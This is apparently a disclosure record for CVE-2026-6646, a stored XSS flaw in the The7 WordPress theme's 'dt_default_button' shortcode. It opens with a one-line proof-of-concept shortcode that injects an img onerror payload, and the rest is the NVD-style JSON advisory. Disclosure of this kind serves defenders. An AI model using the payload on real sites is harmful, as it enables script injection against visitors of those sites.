CVE-2026-6646

<!-- PoC for CVE-2026-6646 Usage: Add the following shortcode to a page/post as a Contributor user. --> [dt_default_button link="title:<img src=x onerror=alert(1)>;url:#" size="medium"] <!-- Explanation: The 'title' parameter inside the 'link' attribute lacks sanitization. When the page is rendered, the img tag triggers the onerror event, executing the JavaScript alert. -->

{"cve": {"id": "CVE-2026-6646", "sourceIdentifier": "[email protected]", "published": "2026-05-15T07:16:20.250", "lastModified": "2026-05-15T14:09:15.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The7 theme for WordPress is vulnerable to Stored Cross-Site Scripting via the 'dt_default_button' shortcode in all versions up to, and including, 14.3.2. This is due to insufficient input sanitization and output escaping on the 'title' component of the 'link' shortcode parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dt-the7/tags/14.2.2/inc/helpers/html-helpers.php#L945", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dt-the7/tags/14.2.2/inc/shortcodes/includes/default-button/default-button.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dt-the7/tags/14.2.2/inc/shortcodes/includes/default-button/default-button.php#L112", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dt-the7/trunk/inc/helpers/html-helpers.php#L945", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dt-the7/trunk/inc/shortcodes/includes/default-button/default-button.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dt-the7/trunk/inc/shortcodes/includes/default-button/default-button.php#L112", "source": "[email protected]"}, {"url": "https://the7.io/changelog/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/082f810c-d55e-4190-908c-c7dd9c2e59a5?source=cve", "source": "[email protected]"}]}}